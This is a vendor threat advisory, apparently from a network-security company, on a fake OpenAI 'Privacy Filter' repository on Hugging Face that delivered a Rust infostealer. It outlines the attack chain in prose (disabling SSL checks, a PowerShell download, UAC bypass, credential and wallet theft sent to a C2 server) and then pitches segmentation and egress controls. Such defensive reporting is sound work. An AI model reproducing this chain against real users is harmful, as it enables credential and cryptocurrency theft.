Fake OpenAI Repository on Hugging Face Delivers Infostealer Malware
Executive Summary
In May 2026, a malicious repository named 'Open-OSS/privacy-filter' was discovered on Hugging Face, impersonating OpenAI's legitimate 'Privacy Filter' project. This repository contained a 'loader.py' script that, when executed, downloaded and ran a Rust-based infostealer malware on Windows systems. The malware targeted sensitive data, including browser credentials, cryptocurrency wallets, and system information. The repository reached the top of Hugging Face's trending list with over 244,000 downloads before being removed.
This incident underscores the growing trend of supply chain attacks targeting AI and machine learning platforms. As these platforms become integral to various industries, ensuring the integrity of shared repositories is paramount to prevent the distribution of malicious code.
Why This Matters Now
The increasing reliance on AI and machine learning platforms has made them attractive targets for cybercriminals. This incident highlights the urgent need for enhanced security measures and vigilance when utilizing shared repositories to prevent the infiltration of malicious code into trusted environments.
Attack Path Analysis
Attackers created a malicious repository on Hugging Face, impersonating OpenAI's 'Privacy Filter' project to distribute infostealer malware. Upon execution, the malware disabled SSL verification, fetched and executed a PowerShell command to download a batch file, which performed privilege escalation and downloaded the final payload. The Rust-based infostealer then exfiltrated sensitive data, including browser data, Discord tokens, cryptocurrency wallets, and system information, to a command-and-control server.
Kill Chain Progression
Initial Compromise
Description
Attackers created a malicious repository on Hugging Face, impersonating OpenAI's 'Privacy Filter' project to distribute infostealer malware.
MITRE ATT&CK® Techniques
Supply Chain Compromise: Compromise Software Supply Chain
Phishing: Spearphishing Attachment
Command and Scripting Interpreter: PowerShell
Abuse Elevation Control Mechanism: Bypass User Account Control
Obfuscated Files or Information
Screen Capture
Data from Local System
Exfiltration Over C2 Channel
Potential Compliance Exposure
Mapping incident impact across multiple compliance frameworks.
PCI DSS 4.0 – Ensure software integrity
Control ID: 6.3.2
NYDFS 23 NYCRR 500 – Cybersecurity Policy
Control ID: 500.03
DORA – ICT Risk Management Framework
Control ID: Article 5
CISA ZTMM 2.0 – Supply Chain Risk Management
Control ID: 3.1
NIS2 Directive – Security of Supply Chains
Control ID: Article 21
Sector Implications
Industry-specific impact of the vulnerabilities, including operational, regulatory, and cloud security risks.
Computer Software/Engineering
Supply chain attacks targeting AI repositories expose development teams to infostealers compromising source code, credentials, and intellectual property through malicious packages.
Information Technology/IT
Fake OpenAI repositories deliver Rust-based infostealers targeting browser data, SSH credentials, and system information, requiring comprehensive egress filtering and anomaly detection.
Capital Markets/Hedge Fund/Private Equity
Cryptocurrency wallet targeting malware exfiltrates trading credentials and digital assets, necessitating zero trust segmentation and encrypted traffic controls for financial operations.
Higher Education/Acadamia
Academic researchers downloading AI models face credential theft and system compromise, requiring enhanced visibility controls and secure hybrid connectivity for research infrastructure.
Sources
- Fake OpenAI repository on Hugging Face pushes infostealer malwarehttps://www.bleepingcomputer.com/news/security/fake-openai-repository-on-hugging-face-pushes-infostealer-malware/Verified
- Malware Found in Trending Hugging Face Repository 'Open-OSS/privacy-filter'https://www.hiddenlayer.com/insight/malware-found-in-trending-hugging-face-repository-open-oss-privacy-filterVerified
- The AI Supply Chain Threat: Malicious Models in Public Repositorieshttps://www.aisecurityfoundation.org/insights/malicious-models-supply-chain/Verified
Frequently Asked Questions
Cloud Native Security Fabric Mitigations and ControlsCNSF
Aviatrix Zero Trust CNSF is pertinent to this incident as it could likely limit the attacker's ability to escalate privileges, move laterally, and exfiltrate data by enforcing strict segmentation and controlled egress policies.
Control: Cloud Native Security Fabric (CNSF)
Mitigation: The CNSF may not directly prevent the initial compromise via a malicious repository, as this involves user interaction and external sources.
Control: Zero Trust Segmentation
Mitigation: Zero Trust Segmentation could likely limit the malware's ability to exploit elevated privileges by restricting access to sensitive resources.
Control: East-West Traffic Security
Mitigation: East-West Traffic Security would likely limit the potential for lateral movement by monitoring and controlling internal traffic.
Control: Multicloud Visibility & Control
Mitigation: Multicloud Visibility & Control could likely detect and limit unauthorized outbound connections to command-and-control servers.
Control: Egress Security & Policy Enforcement
Mitigation: Egress Security & Policy Enforcement would likely limit unauthorized data exfiltration by controlling outbound data flows.
The implementation of CNSF controls would likely reduce the scope of data exfiltration, thereby limiting potential financial loss and identity theft.
Impact at a Glance
Affected Business Functions
- Software Development
- Data Science
- Machine Learning Operations
Estimated downtime: 3 days
Estimated loss: $50,000
Potential exposure of sensitive credentials, including browser data, Discord tokens, cryptocurrency wallets, SSH, FTP, and VPN credentials.
Recommended Actions
Key Takeaways & Next Steps
- • Implement Zero Trust Segmentation to restrict access and limit the spread of malware within the network.
- • Utilize Egress Security & Policy Enforcement to monitor and control outbound traffic, preventing unauthorized data exfiltration.
- • Deploy Inline IPS (Suricata) to detect and block known exploit patterns and malicious payloads.
- • Enhance Threat Detection & Anomaly Response capabilities to identify and respond to suspicious activities promptly.
- • Regularly audit and verify the integrity of third-party repositories and software to prevent supply chain attacks.
